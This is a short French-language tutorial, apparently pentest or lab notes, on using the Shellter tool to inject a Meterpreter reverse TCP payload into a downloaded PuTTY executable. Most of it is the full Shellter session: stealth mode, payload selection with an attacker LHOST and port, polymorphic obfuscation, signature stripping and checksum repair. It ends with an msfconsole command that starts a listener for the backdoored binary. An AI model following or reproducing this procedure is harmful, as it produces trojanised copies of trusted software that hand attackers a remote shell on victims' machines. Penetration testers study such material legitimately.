Shellter

Shellter permet d’introduire un payload à l’intérieur d’un binaire légitime.

Tip

Ce payload doit être 32bits pour que shellter puisse fonctionner correctement

Par exemple, si nous voulons introduire un meterpreter dans l’exécutable Putty:

wget https://the.earth.li/\~sgtatham/putty/latest/w32/putty.exe
shellter
        1010101 01   10 0100110 10     01  11001001 0011101 001001
        11      10   01 00      01     01     01    10      11   10
        0010011 1110001 11011   11     10     00    10011   011001
             11 00   10 01      11     01     11    01      01   11
        0010010 11   00 0011010 100111 000111 00    1100011 01   10 v7.2
        www.ShellterProject.com                     Wine Mode



Choose Operation Mode - Auto/Manual (A/M/H): A

PE Target: putty.exe

**********
* Backup *
**********

Backup: A backup of the file was not taken!

If another backup with the same file name, is already located in the 
Shellter_Backups directory there is no need to report this issue.

If this is an attempt to add another payload to a previously infected
application by Shellter, then you can continue working with this file.
Otherwise, you should consider taking a copy of the original file from
the backups directory  in order to avoid re-using a previously infected
binary.

Shellter Pro supports chaining of multiple payloads in a single injection,
which is a lot more effective than re-infecting the same PE file multiple
times.


Please Report To Author.

Last_Error_Code: 80 || Le fichier existe.



Shellter will now proceed...




********************************
* PE Compatibility Information *
********************************

Minimum Supported Windows OS: 5.1

Note: It refers to the minimum required Windows version for the target
      application to run. This information is taken directly from the
      PE header and might be not always accurate.




******************
* Packed PE Info *
******************

Status: Possibly Not Packed - The EntryPoint is located in the first section!




***********************
* PE Info Elimination *
***********************

Data: Dll Characteristics (Dynamic ImageBase etc...), Digital Signature.

Status: All related information has been eliminated!




****************
* Tracing Mode *
****************

Status: Tracing has started! Press CTRL+C to interrupt tracing at any time.

Note: In Auto Mode, Shellter will trace a random number of instructions
      for a maximum time of approximately 30 seconds in native Windows
      hosts and for 60 seconds when used in Wine.



DisASM.dll was created successfully!



Instructions Traced: 131341

Tracing Time Approx: 1.02 mins.



Starting First Stage Filtering...



*************************
* First Stage Filtering *
*************************

Filtering Time Approx: 0.008 mins.


Enable Stealth Mode? (Y/N/H): Y

************
* Payloads *
************

[1] Meterpreter_Reverse_TCP   [stager]
[2] Meterpreter_Reverse_HTTP  [stager]
[3] Meterpreter_Reverse_HTTPS [stager]
[4] Meterpreter_Bind_TCP      [stager]
[5] Shell_Reverse_TCP         [stager]
[6] Shell_Bind_TCP            [stager]
[7] WinExec

Use a listed payload or custom? (L/C/H): L

Select payload by index: 1

***************************
* meterpreter_reverse_tcp *
***************************

SET LHOST: 192.168.45.218

SET LPORT: 443



****************
* Payload Info *
****************

Payload: meterpreter_reverse_tcp

Size: 281 bytes

Reflective Loader: NO

Encoded-Payload Handling: Enabled

Handler Type: IAT



******************
* Encoding Stage *
******************

Encoding Payload: Done!


****************************
* Assembling Decoder Stage *
****************************

Assembling Decoder: Done!


***********************************
* Binding Decoder & Payload Stage *
***********************************

Status: Obfuscating the Decoder using Thread Context Aware Polymorphic
        code, and binding it with the payload.

Please wait...

Binding: Done!


*********************
* IAT Handler Stage *
*********************


Fetching IAT Pointers to Memory Manipulation APIs...


0. VirtualAlloc --> N/A
1. VirtualAllocEx --> N/A
2. VirtualProtect --> N/A
3. VirtualProtectEx --> N/A
4. HeapCreate/HeapAlloc --> N/A
5. LoadLibrary/GetProcAddress --> IAT[4ffe30]/IAT[4ffda8]
6. GetModuleHandle/GetProcAddress --> IAT[4ffd9c]/IAT[4ffda8]
7. CreateFileMapping/MapViewOfFile --> IAT[4ffcdc]/IAT[4ffe50]

Using Method --> 7



***************************
* IAT Handler Obfuscation *
***************************

Status: Binding the IAT Handler with Thread Context Aware Polymorphic code.

Please wait...

Code Generation Time Approx: 0.02 seconds.



*************************
* PolyMorphic Junk Code *
*************************

Type: Engine

Generating: ~572 bytes of PolyMorphic Junk Code

Please wait...

Generated: 576 bytes

Code Generation Time Approx: 0.022 seconds.



Starting Second Stage Filtering...



**************************
* Second Stage Filtering *
**************************

Filtering Time Approx: 0.00117 mins.



*******************
* Injection Stage *
*******************

Virtual Address: 0x4352b0

File Offset: 0x346b0

Section: .text


Adjusting stub pointers to IAT...

Done!


Adjusting Call Instructions Relative Pointers...

Done!


Injection Completed!



*******************
* PE Checksum Fix *
*******************

Status: Valid PE Checksum has been set!

Original Checksum: 0x16c3ef

Computed Checksum: 0x1705ea



**********************
* Verification Stage *
**********************


Info: Shellter will verify that the first instruction of the
      injected code will be reached successfully.
      If polymorphic code has been added, then the first
      instruction refers to that and not to the effective
      payload.
      Max waiting time: 10 seconds.

 Warning!
 If the PE target spawns a child process of itself before
 reaching the injection point, then the injected code will
 be executed in that process. In that case Shellter won't
 have any control over it during this test.
 You know what you are doing, right? ;o)

Injection: Verified!


Press [Enter] to continue...

Il suffit ensuite de démarrer un meterpreter et d’attendre l’exécution de notre binaire :

msfconsole -x "use exploit/multi/handler;set payload windows/meterpreter/reverse_tcp;set LHOST 192.168.45.218;set LPORT 443;run;"